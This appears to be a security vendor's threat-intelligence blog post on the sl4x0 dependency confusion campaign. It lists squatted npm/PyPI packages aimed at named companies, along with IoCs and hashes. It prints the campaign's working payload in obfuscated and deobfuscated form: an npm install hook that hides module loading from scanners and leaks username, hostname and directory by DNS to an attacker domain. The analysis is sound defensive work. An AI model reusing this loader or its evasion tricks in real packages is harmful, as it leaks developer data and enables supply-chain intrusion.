---
title: "sl4x0 Dependency Confusion: 92 Packages Target Fortune 500"
description: "A sustained dependency confusion campaign by the sl4x0 actor likely targets 20+ organizations including Adobe, Ford, Sony, and Coca-Cola with 92+ malicious npm packages exfiltrating developer data via DNS. Updated July 23, 2026 with a Goldman Sachs-targeting wave (gs-uitk-testing-utils, gs-uitk-object-utils) and a second, untargeted install-beacon pair (uploader-frontend, uploader-frontend-legacy)."
url: "https://safedep.io/blog/sl4x0-dependency-confusion-campaign"
author: "SafeDep Team"
published: "2026-03-24"
---

# sl4x0 Dependency Confusion: 92 Packages Target Fortune 500

## TL;DR

A researcher operating under the `sl4x0` identity has been running a dependency confusion campaign since June 2025, publishing **96+ packages** across **34 throwaway npm and PyPI accounts** targeting over **20 named organizations**. Each package exfiltrates the developer's username, hostname, and working directory via DNS queries to `oob[.]sl4x0[.]xyz`. The package names suggest they likely target internal dependencies at these organizations. The minimal payload and explicit `*poc` naming of publisher accounts suggest security research or bug bounty probing rather than a full malicious operation. Regardless of intent, the packages execute code on install and leak developer identity to an unauthorized third party.

> **Update (July 23, 2026):** A new account, `goldmanachspoc` (`goldmanachspoc@sl4x0[.]xyz`), published two packages, `gs-uitk-testing-utils@9.9.11` and `gs-uitk-object-utils@9.9.11`, squatting Goldman Sachs' internal `gs-uitk-*` UI-toolkit namespace. Both share a byte-identical obfuscated loader with the rest of the campaign and beacon to the same `oob[.]sl4x0[.]xyz` domain. The packages' `author` field reuses `research@sl4x0.xyz`, an identity previously seen only on this campaign's Anduril-targeting PyPI packages, the first confirmed identity overlap across two different target clusters. Details in the [Update section](#update-goldman-sachs-targeted-july-2026).

> **Update (July 23, 2026, second wave):** A separate account, `dialoguepoc` (`dialoguepoc@sl4x0[.]xyz`), published `uploader-frontend@9.9.11` and `uploader-frontend-legacy@9.9.11` the same day. Same `oob[.]sl4x0[.]xyz` DNS-exfil payload and `research@sl4x0.xyz` author identity, but the package names do not match any confirmed enterprise's internal namespace, an untargeted install-beacon pair rather than confirmed dependency confusion. Details in the [Update section](#update-uploader-frontend-install-beacon-pair-july-2026).

**Impact:**

- Exfiltrates the local OS username, hostname, and current working directory of any developer who installs a campaign package
- DNS-based exfiltration bypasses most HTTP-based egress monitoring
- Reconnaissance data (usernames, hostnames, project directories) enables targeted follow-up attacks
- Likely targets span Fortune 500 companies, financial institutions, defense contractors, and tech companies

**Indicators of Compromise (IoC):**

- Exfiltration domain: `oob[.]sl4x0[.]xyz`
- DNS query pattern: `<prefix>.<username>.<hostname>.<cwd>.<timestamp>.oob[.]sl4x0[.]xyz`
- Publisher email domain: `*@sl4x0[.]xyz`
- Version patterns: `9.9.0`, `9.9.9`, `9.9.10`, `9.9.11`, `99.9.9`, `99.99.9` (inflated to win dependency confusion)
- 34 npm/PyPI accounts (full list in Campaign Infrastructure section)

## Campaign Overview

### Timeline

Data from SafeDep threat intelligence reveals this campaign has been active for **10 months** with distinct phases:

| Period        | New Packages | Active Accounts | Targets                                                                               |
| ------------- | ------------ | --------------- | ------------------------------------------------------------------------------------- |
| **June 2025** | 33           | 6               | Broad (generic squatting)                                                             |
| **July 2025** | 16           | 4               | Broad (continued generic)                                                             |
| **Aug 2025**  | 7            | 3               | Targeted (`bbch`, `callemback`, `collabhunting`)                                      |
| **Sep 2025**  | 1            | 1               | CrowdStrike                                                                           |
| **Oct 2025**  | 4            | 3               | Mixed                                                                                 |
| **Dec 2025**  | 5            | 2               | Dealfront, generic                                                                    |
| **Jan 2026**  | 14           | 8               | Checkout.com, Santander, Shopee, Zurich Insurance, Wildberries, Blick, Anduril (PyPI) |
| **Feb 2026**  | 2            | 2               | Coca-Cola, Huawei                                                                     |
| **Mar 2026**  | 10           | 7               | Adobe, Ford, Sony, Xfinity/Comcast, Carnival, Medidata, Tombac                        |
| **Jul 2026**  | 4            | 2               | Goldman Sachs; untargeted install-beacon pair                                         |

The campaign started with broad namespace squatting in mid-2025, then pivoted to what appear to be targeted, organization-specific attacks in late 2025 and 2026. The `*poc` suffix on account names (e.g., `adobepoc`, `fordpoc`, `sonypoc`) explicitly labels each as a "proof of concept" against a named target.

All 2025-era accounts have been removed from npm. As of March 24, 2026, packages from the following 2026 accounts remain live: `adobepoc`, `fordpoc`, `carnivalpoc`, `xfinitypoc`, `sonypoc`, `cocacolapoc`, `huaweipoc`, `tombacpoc`, `medidata`. Two new accounts joined this list on July 20, 2026: `goldmanachspoc`, targeting Goldman Sachs (see the [Goldman Sachs update](#update-goldman-sachs-targeted-july-2026)), and `dialoguepoc`, publishing an untargeted install-beacon pair (see the [uploader-frontend update](#update-uploader-frontend-install-beacon-pair-july-2026)).

### Campaign Infrastructure

All publisher accounts use email addresses on the `sl4x0[.]xyz` domain. The exfiltration endpoint `oob[.]sl4x0[.]xyz` is shared across all packages. The GitHub organization `slaxorg` (referenced in package.json metadata) does not exist, confirming fabricated provenance.

**Complete list of known publisher accounts:**

| Account                     | Email                                   | Target                | Packages | Ecosystem | Still Live |
| --------------------------- | --------------------------------------- | --------------------- | -------- | --------- | ---------- |
| `adobepoc`                  | `adobepoc@sl4x0[.]xyz`                  | Adobe                 | 11       | npm       | Yes        |
| `fordpoc`                   | `fordpoc@sl4x0[.]xyz`                   | Ford Motor            | 2        | npm       | Yes        |
| `carnivalpoc`               | `carnivalpoc@sl4x0[.]xyz`               | Carnival Corp         | 1        | npm       | Yes        |
| `xfinitypoc`                | `xfinitypoc@sl4x0[.]xyz`                | Xfinity/Comcast       | 2        | npm       | Yes        |
| `sonypoc`                   | `sonypoc@sl4x0[.]xyz`                   | Sony                  | 1        | npm       | Yes        |
| `cocacolapoc`               | `cocacolapoc@sl4x0[.]xyz`               | Coca-Cola             | 2        | npm       | Yes        |
| `huaweipoc`                 | `huaweipoc@sl4x0[.]xyz`                 | Huawei                | 1        | npm       | Yes        |
| `tombacpoc`                 | `tombacpoc@sl4x0[.]xyz`                 | Tombac                | 1        | npm       | Yes        |
| `medidata`                  | `medidata@sl4x0[.]xyz`                  | Medidata Solutions    | 1        | npm       | Yes        |
| `goldmanachspoc`            | `goldmanachspoc@sl4x0[.]xyz`            | Goldman Sachs         | 2        | npm       | Yes        |
| `dialoguepoc`               | `dialoguepoc@sl4x0[.]xyz`               | Unconfirmed (generic) | 2        | npm       | Yes        |
| `checkoutpoc`               | `checkoutpoc@sl4x0[.]xyz`               | Checkout.com          | 2        | npm       | No         |
| `wildberriespoc`            | `wildberriespoc@sl4x0[.]xyz`            | Wildberries           | 2        | npm       | No         |
| `blickpoc`                  | `blickpoc@sl4x0[.]xyz`                  | Blick (media)         | 1        | npm       | No         |
| `zurichpoc`                 | `zurich@sl4x0[.]xyz`                    | Zurich Insurance      | 1        | npm       | No         |
| `standardbank`              | `standardbank@sl4x0[.]xyz`              | Santander UK          | 1        | npm       | No         |
| `crowdstrikeerrrrrrr`       | `crowdstrikeerrrrrrr@sl4x0[.]xyz`       | CrowdStrike           | 1        | npm       | No         |
| `dealfrontpoc`              | `dealfrontpoc@sl4x0[.]xyz`              | Dealfront             | 2        | npm       | No         |
| `seacom`                    | `seacom@sl4x0[.]xyz`                    | Shopee/Servicepoint   | 3        | npm       | No         |
| `uc-platform`               | `uc-platform@sl4x0[.]xyz`               | UC Platform           | 1        | npm       | No         |
| `global-engineering-shared` | `global-engineering-shared@sl4x0[.]xyz` | Google (gweb)         | 1        | npm       | No         |
| `bbch`                      | `bbch@sl4x0[.]xyz`                      | Mobile SDK vendor     | 2        | npm       | No         |
| `collabhunting`             | `collab@sl4x0[.]xyz`                    | Expedia (UITK)        | 2        | npm       | No         |
| `testingnpmtakeovers`       | `testingnpmtakeovers@sl4x0[.]xyz`       | Generic               | 3        | npm       | No         |
| `sl4x0` / `research`        | `research@sl4x0[.]xyz`                  | Anduril               | 3        | PyPI      | N/A        |
| `slaxoit`                   | `slaxoit@sl4x0[.]xyz`                   | Broad                 | 16       | npm       | No         |
| `slaxoyou`                  | `slaxoyou@sl4x0[.]xyz`                  | Broad                 | 11       | npm       | No         |
| `slaxowe`                   | `slaxowe@sl4x0[.]xyz`                   | Broad                 | 8        | npm       | No         |
| `slaxoshe`                  | `slaxoshe@sl4x0[.]xyz`                  | Broad                 | 5        | npm       | No         |
| `slaxohe`                   | `slaxohe@sl4x0[.]xyz`                   | Broad                 | 3        | npm       | No         |
| `callemback`                | `callemback@sl4x0[.]xyz`                | Broad                 | 8        | npm       | No         |
| `vdchhhh`                   | `vdch@sl4x0[.]xyz`                      | Generic               | 2        | npm       | No         |
| `twentyaugust`              | `twentyaugust@sl4x0[.]xyz`              | Twitter (flight)      | 1        | npm       | No         |

### Packages Still Live on npm (as of March 24, 2026)

These packages remain available for download and should be considered actively dangerous:

| Package                                            | Version | Publisher        | Target         |
| -------------------------------------------------- | ------- | ---------------- | -------------- |
| `oc-aa-module-client`                              | 9.9.10  | `adobepoc`       | Adobe          |
| `oc-navbar-module-client`                          | 9.9.10  | `adobepoc`       | Adobe          |
| `oc-ccp-module-client`                             | 9.9.10  | `adobepoc`       | Adobe          |
| `oc-pdc-module-client`                             | 9.9.0   | `adobepoc`       | Adobe          |
| `oc-conversation-history-module-client`            | 9.9.0   | `adobepoc`       | Adobe          |
| `oc-ecm-module-client`                             | 9.9.0   | `adobepoc`       | Adobe          |
| `oc-cip-module-client`                             | 9.9.0   | `adobepoc`       | Adobe          |
| `oc-recommendedupgrade-module-client`              | 9.9.0   | `adobepoc`       | Adobe          |
| `oc-agent-toolbar-module-client`                   | 9.9.0   | `adobepoc`       | Adobe          |
| `oc-pico-module-client`                            | 9.9.0   | `adobepoc`       | Adobe          |
| `@phonos/types`                                    | 9.9.10  | `adobepoc`       | Adobe (Phonos) |
| `@wame/ngx-frf-utilities`                          | 9.9.11  | `fordpoc`        | Ford           |
| `@wame/ngx-adfs`                                   | 9.9.11  | `fordpoc`        | Ford           |
| `cclr-component-resources`                         | 9.9.10  | `carnivalpoc`    | Carnival       |
| `@ceeferenderer/itg-renderer-sdk`                  | 99.9.9  | `xfinitypoc`     | Xfinity        |
| `@ceeferenderer/fe-renderer-sdk`                   | 99.9.9  | `xfinitypoc`     | Xfinity        |
| `cr-static-shared-components`                      | 9.9.9   | `sonypoc`        | Sony           |
| `@the-coca-cola-company/ngps-global-common-utils`  | 9.9.9   | `cocacolapoc`    | Coca-Cola      |
| `@the-coca-cola-company/receipt-scanner-admin-lib` | 9.9.9   | `cocacolapoc`    | Coca-Cola      |
| `@cloudsop/hmoment`                                | 9.9.9   | `huaweipoc`      | Huawei         |
| `tombac-chronos`                                   | 9.9.9   | `tombacpoc`      | Tombac         |
| `ftapi-core`                                       | 99.9.9  | `medidata`       | Medidata       |
| `gs-uitk-object-utils`                             | 9.9.11  | `goldmanachspoc` | Goldman Sachs  |
| `gs-uitk-testing-utils`                            | 9.9.11  | `goldmanachspoc` | Goldman Sachs  |
| `uploader-frontend`                                | 9.9.11  | `dialoguepoc`    | Unconfirmed    |
| `uploader-frontend-legacy`                         | 9.9.11  | `dialoguepoc`    | Unconfirmed    |

## Deep Dive: oc-aa-module-client

### Package Overview

`oc-aa-module-client@9.9.10` was published to npm on March 22, 2026 by the `adobepoc` account. This account published 11 packages between March 21 and 22, 2026, all sharing an identical description ("Enterprise-grade utilities with enhanced validation and compatibility layer"), identical keywords, and the same code structure.

The package names likely follow Adobe's internal Omnichannel module naming convention (`oc-*-module-client`), apparently targeting modules like Adobe Analytics (`aa`), Contact Center Platform (`ccp`), Navigation Bar (`navbar`), and others. The `package.json` points to a GitHub organization `slaxorg` that does not exist, fabricating provenance.

The README is generic boilerplate with placeholder badge URLs (`org/repo`, `package`) and ironically claims: "No file system access" and "No network requests." The package does both through its obfuscated `lib/` directory.

### Execution Trigger

The `package.json` defines an `install` script that executes the entry point on `npm install`:

```json
// package/package.json
"scripts": {
  "install": "node index.js"
}
```

The entry point silently loads the malicious payload:

```javascript
// package/index.js
'use strict';
try {
  require('./lib/core');
} catch (e) {}
module.exports = { version: '9.9.10' };
```

The `try/catch` with an empty handler ensures the install succeeds silently even if the payload fails. The exported `{ version: '9.9.10' }` provides a benign surface for anyone inspecting the module's return value.

### Malicious Payload

The payload spans three files in `lib/`: a configuration module, a utilities module, and the core logic.

**Configuration (`lib/b02e30.js`)** stores the exfiltration domain and package identifier using hex-encoded character arrays:

```javascript
// package/lib/b02e30.js
'use strict';
const _0x5b3d = [0x6f, 0x6f, 0x62, 0x2e, 0x73, 0x6c, 0x34, 0x78, 0x30, 0x2e, 0x78, 0x79, 0x7a];
const _0x6c4e = 'ocaa';
const _0x7d5f = (s) => {
  let r = '';
  for (let i = 0; i < s.length; i++) r += String.fromCharCode(s[i]);
  return r;
};
module.exports = { p: _0x6c4e, d: _0x7d5f([0x2e]), dom: _0x7d5f(_0x5b3d), decode: _0x7d5f };
```

Deobfuscated, this resolves to:

```javascript
module.exports = {
  p: 'ocaa', // package identifier for this campaign package
  d: '.', // separator
  dom: 'oob.sl4x0.xyz', // attacker-controlled exfiltration domain
  decode: String.fromCharCode, // utility function reused by core.js
};
```

**Utilities (`lib/6ad264.js`)** loads Node.js built-in modules through `module.constructor._load()` to avoid plain `require()` calls that static scanners flag:

```javascript
// package/lib/6ad264.js
'use strict';
const _0xb1i9 = (x) => {
  let s = '';
  for (let i = 0; i < x.length; ++i) s += String.fromCharCode(x[i]);
  return s;
};
const _0xc2j0 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x6f, 0x73]));
const _0xd3k1 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x64, 0x6e, 0x73]));
const _0xe4l2 = global[_0xb1i9([0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73])];
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
module.exports = { os: _0xc2j0, dns: _0xd3k1, proc: _0xe4l2, clean: clean };
```

Deobfuscated:

```javascript
const os = module.constructor._load('os'); // avoids require('os')
const dns = module.constructor._load('dns'); // avoids require('dns')
const proc = global.process;
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
module.exports = { os, dns, proc, clean };
```

The `clean()` function strips non-alphanumeric characters and truncates to 15 characters, ensuring the collected data fits within DNS label length limits (max 63 characters per label).

**Core payload (`lib/core.js`)** collects system information and exfiltrates it via DNS:

```javascript
// package/lib/core.js
'use strict';
const cfg = require('./b02e30');
const util = require('./6ad264');
(() => {
  let u = 'u',
    h = 'h',
    c = 'd';
  try {
    u = util.clean(
      util.os[cfg.decode([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f])]()?.[
        cfg.decode([0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65])
      ]
    );
  } catch (e) {}
  try {
    h = util.clean(util.os[cfg.decode([0x68, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65])]());
  } catch (e) {}
  try {
    c = util.clean(
      util.proc[cfg.decode([0x63, 0x77, 0x64])]()
        .split(/[\/\\]/)
        .pop()
    );
  } catch (e) {}
  const t = Math.floor(Date.now() / 1e3);
  const q = [cfg.p, u || 'u', h || 'h', c || 'd', t, cfg.dom].join(cfg.d);
  try {
    util.dns[cfg.decode([0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x34])](q, () => {});
  } catch (e) {}
})();
```

Deobfuscated:

```javascript
const cfg = require('./b02e30');
const util = require('./6ad264');

(() => {
  let u = 'u',
    h = 'h',
    c = 'd'; // fallback values
  try {
    u = util.clean(util.os.userInfo()?.username);
  } catch (e) {}
  try {
    h = util.clean(util.os.hostname());
  } catch (e) {}
  try {
    c = util.clean(
      util.proc
        .cwd()
        .split(/[\/\\]/)
        .pop()
    );
  } catch (e) {}

  const t = Math.floor(Date.now() / 1000); // unix timestamp
  const q = ['ocaa', u, h, c, t, 'oob.sl4x0.xyz'].join('.');
  // e.g. "ocaa.jsmith.devbox42.myproject.1711234567.oob.sl4x0.xyz"

  try {
    util.dns.resolve4(q, () => {});
  } catch (e) {}
})();
```

### Data Exfiltration via DNS

The attack uses DNS as a covert exfiltration channel. By calling `dns.resolve4()` with a crafted subdomain query, the collected data travels through DNS resolution to the attacker's authoritative nameserver for `oob[.]sl4x0[.]xyz`. The attacker reads the data directly from DNS query logs without needing the resolution to succeed.

The exfiltration query follows this structure:

```
ocaa.<username>.<hostname>.<cwd_dirname>.<unix_timestamp>.oob.sl4x0.xyz
```

A developer named `jsmith` working on machine `adobe-dev-42` in directory `/home/jsmith/code/omnichannel-platform` would generate:

```
ocaa.jsmith.adobedev42.omnichannelplatf.1711234567.oob.sl4x0.xyz
```

This approach is effective for several reasons. DNS traffic is rarely blocked or inspected by corporate firewalls. The query looks like normal DNS resolution to network monitoring tools. No HTTP connection or response is needed; the query itself carries the data. The empty callback `() => {}` means the code does not wait for or process the response.

The `ocaa` prefix identifies which campaign package triggered the beacon, allowing the attacker to correlate responses across the 11+ Adobe packages (each would use a different prefix like `occcp`, `ocnavbar`, etc.).

This is the same fundamental technique [we analyzed in the Schedaero dependency confusion campaign](https://safedep.io/blog/schedaero-dependency-confusion-attack), though that campaign used HTTP-based exfiltration rather than DNS. The DNS approach is stealthier since it sidesteps HTTP egress monitoring entirely. Similar [dependency confusion patterns using Burp Collaborator](https://safedep.io/blog/burp-collaborator-for-dependency-confusion-attack) have also been documented targeting other organizations.

### Obfuscation Techniques

The package uses three layers of obfuscation:

1. **Hex-encoded string literals**: Method names like `userInfo`, `hostname`, `cwd`, and `resolve4` are passed as hex byte arrays (`[0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f]`) and decoded at runtime via `String.fromCharCode`. This evades static string matching by scanners looking for suspicious API calls.

2. **Indirect module loading**: Instead of `require('os')` or `require('dns')`, the code uses `module.constructor._load('os')`. This private Node.js API achieves the same result but avoids triggering `require()` pattern matching in security tools.

3. **Decoy source files**: The `src/` directory contains ~600 lines of legitimate, well-documented utility code (validation, formatting, crypto wrappers) that serves no functional purpose. The `index.js` entry point never imports anything from `src/`. These files exist solely to make the package appear legitimate during cursory review.

### Dependency Confusion Strategy

All packages in this campaign use abnormally high version numbers (`9.9.0`, `9.9.10`, `99.9.9`, `99.99.9`). This is the hallmark of [dependency confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610): when a build system pulls from both a private registry and the public npm registry, it resolves to the highest available version. By publishing version `99.99.9` of a package that internally exists at version `2.3.1`, the attacker ensures the public (malicious) version wins.

The package names are not random. They likely match internal package naming conventions at each apparent target organization:

- Adobe: `oc-*-module-client` (likely Omnichannel platform modules)
- Ford: `@wame/ngx-*` (likely Angular modules under Ford's WAME framework)
- Coca-Cola: `@the-coca-cola-company/*` (scoped company packages)
- Xfinity: `@ceeferenderer/*` (likely internal renderer SDK)
- Wildberries: `@wb-team/*`, `@wbgo/*` (likely internal team packages)

This level of specificity suggests the attacker performed reconnaissance on each target's internal package ecosystem before publishing. The [Hyatt-targeting campaign](https://safedep.io/blog/malicious-npm-packages-hyatt-campaign) we previously analyzed used the same version inflation strategy (`999.999.999`) against hospitality sector targets.

## Update: Goldman Sachs Targeted (July 2026)

On July 20, 2026, a new account, `goldmanachspoc` (`goldmanachspoc@sl4x0[.]xyz`), published two packages squatting Goldman Sachs' internal `gs-uitk-*` UI-toolkit namespace:

- `gs-uitk-object-utils@9.9.11`
- `gs-uitk-testing-utils@9.9.11`

Both packages share the `Enterprise Tools Team <research@sl4x0[.]xyz>` author identity and point to the same fabricated repository, `github.com/slaxorg/nms-dashboard-js`, that does not exist, matching the fabricated-provenance pattern already documented across this campaign.

### Byte-identical payload

`gs-uitk-testing-utils` and `gs-uitk-object-utils` ship SHA256-identical `index.js` and `lib/6ad264.js` files. The `install` script and obfuscation structure match the `oc-aa-module-client` deep dive above exactly: an `install` lifecycle hook runs `node index.js` unconditionally, which loads a hex-array-obfuscated loader that reaches `require('os')` and `require('dns')` through `module.constructor._load()` and `String.fromCharCode` indirection to dodge static `require()` scanning. The payload harvests the username, hostname, and current working directory, then exfiltrates them via `dns.resolve4()` to `oob[.]sl4x0[.]xyz`, the campaign's established DNS-exfiltration domain.

The only file that differs between the two packages is `lib/b02e30.js`, the per-package configuration module. It hex-decodes to the same domain and a per-package campaign tag, following the pattern already documented for the Adobe wave (`ocaa`, `occcp`, etc.):

- `gs-uitk-object-utils`: tag `goldman1`
- `gs-uitk-testing-utils`: tag `goldman2`

### A shared identity across target clusters

The `research@sl4x0[.]xyz` author address is not new to this campaign, it is the same account previously tied to 3 Anduril-targeting PyPI packages (see the publisher account table above). Its reuse as the `author` field on these npm packages, alongside a distinct new `goldmanachspoc` maintainer account, is the first confirmed identity overlap between two otherwise separate target clusters in this campaign, and reinforces that a single actor operates across ecosystems (PyPI and npm) and industries (defense, finance) rather than running isolated one-off squats.

## Update: uploader-frontend Install-Beacon Pair (July 2026)

The same day as the Goldman Sachs wave, a separate account, `dialoguepoc` (`dialoguepoc@sl4x0[.]xyz`), published two packages: `uploader-frontend@9.9.11` and `uploader-frontend-legacy@9.9.11`. Both were still live on npm as of the analysis timestamp (last modified 2026-07-23T12:16 UTC).

Unlike the Goldman Sachs wave, these package names do not match any confirmed enterprise's internal namespace. The generic "uploader-frontend" name and lack of a matching private package make this a broader, untargeted install-beacon publish rather than confirmed dependency confusion, closer in spirit to the campaign's June-August 2025 generic-squatting phase, though published under the same `*poc` account convention seen in the org-targeted waves.

### Same mechanism, byte-for-byte

Both packages share the `Enterprise Tools Team <research@sl4x0[.]xyz>` author identity, the same fabricated `github.com/slaxorg/nms-dashboard-js` repository, and the same `install: node index.js` lifecycle hook feeding a hex-array-obfuscated loader that reaches `os`/`dns` via `module.constructor._load()` and harvests username, hostname, and cwd before exfiltrating via `dns.resolve4()` to `oob[.]sl4x0[.]xyz`, identical in structure to the `oc-aa-module-client` deep dive above. Only `lib/b02e30.js` (the per-package config) differs, holding a per-package DNS tag:

- `uploader-frontend`: tag `uploadfe`
- `uploader-frontend-legacy`: tag `uploadfele`

The payload also adds a small refinement not seen in the `oc-aa-module-client` sample: an unref'd 500ms `setTimeout` after firing the DNS query, letting the beacon attempt to complete without holding the Node.js process open.

### File hashes (`uploader-frontend@9.9.11`)

| File            | SHA256                                                             |
| --------------- | ------------------------------------------------------------------ |
| `index.js`      | `ce42880a5be86ce5b7db2e4ce47b04b233308f6e0c0ffff9c9da7a8b39ca5a3f` |
| `lib/core.js`   | `397d1435e7291ed6b02b8627033a110124d250a54290b3a8f9f248573fd6a2d4` |
| `lib/b02e30.js` | `7e5dffc0070dfd23371f2f41227b1e3b0f81b85bfaf4fe87e35c5c64e5ddd748` |
| `lib/6ad264.js` | `95ed14077ba3da5517e8b1816a38f3961cebd6f6fb84c86b1bd77ab0a4dcdff4` |
| `package.json`  | `0247cc50a0a57a241e6eda6714516e5864f23389977049c30052cfb3a69abd2f` |

## Conclusion

The `sl4x0` campaign is a sustained, multi-target dependency confusion operation active since June 2025. The explicit `*poc` account naming, minimal DNS-only payload, and absence of credential theft or persistence strongly suggest **security research or bug bounty probing** rather than a destructive attack. The packages still execute arbitrary code on install and leak developer identity to an unauthorized third party, which represents real supply chain risk regardless of intent.

As of March 24, 2026, **22 packages across 9 publisher accounts remain live on npm**. Organizations whose internal package names appear in the IoC list should:

1. Audit `.npmrc` and registry configurations to ensure private packages resolve from internal registries only
2. Monitor DNS logs for queries to `oob[.]sl4x0[.]xyz`
3. Treat any system that installed a campaign package as compromised for reconnaissance purposes
4. Use tools like [`vet`](https://github.com/safedep/vet) to detect malicious packages before they enter the build pipeline

## References

- Exfiltration domain: `oob[.]sl4x0[.]xyz`
- SafeDep threat intelligence: 92+ confirmed malicious package records
- [npm: oc-aa-module-client](https://www.npmjs.com/package/oc-aa-module-client)
- [npm: @wame/ngx-adfs](https://www.npmjs.com/package/@wame/ngx-adfs)
- [npm: @the-coca-cola-company/ngps-global-common-utils](https://www.npmjs.com/package/@the-coca-cola-company/ngps-global-common-utils)
- [npm: cr-static-shared-components](https://www.npmjs.com/package/cr-static-shared-components)
- [npm: @ceeferenderer/fe-renderer-sdk](https://www.npmjs.com/package/@ceeferenderer/fe-renderer-sdk)
- [npm: gs-uitk-object-utils](https://www.npmjs.com/package/gs-uitk-object-utils)
- [npm: gs-uitk-testing-utils](https://www.npmjs.com/package/gs-uitk-testing-utils)
- [npm: uploader-frontend](https://www.npmjs.com/package/uploader-frontend)
- [npm: uploader-frontend-legacy](https://www.npmjs.com/package/uploader-frontend-legacy)
- [Original dependency confusion research by Alex Birsan](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
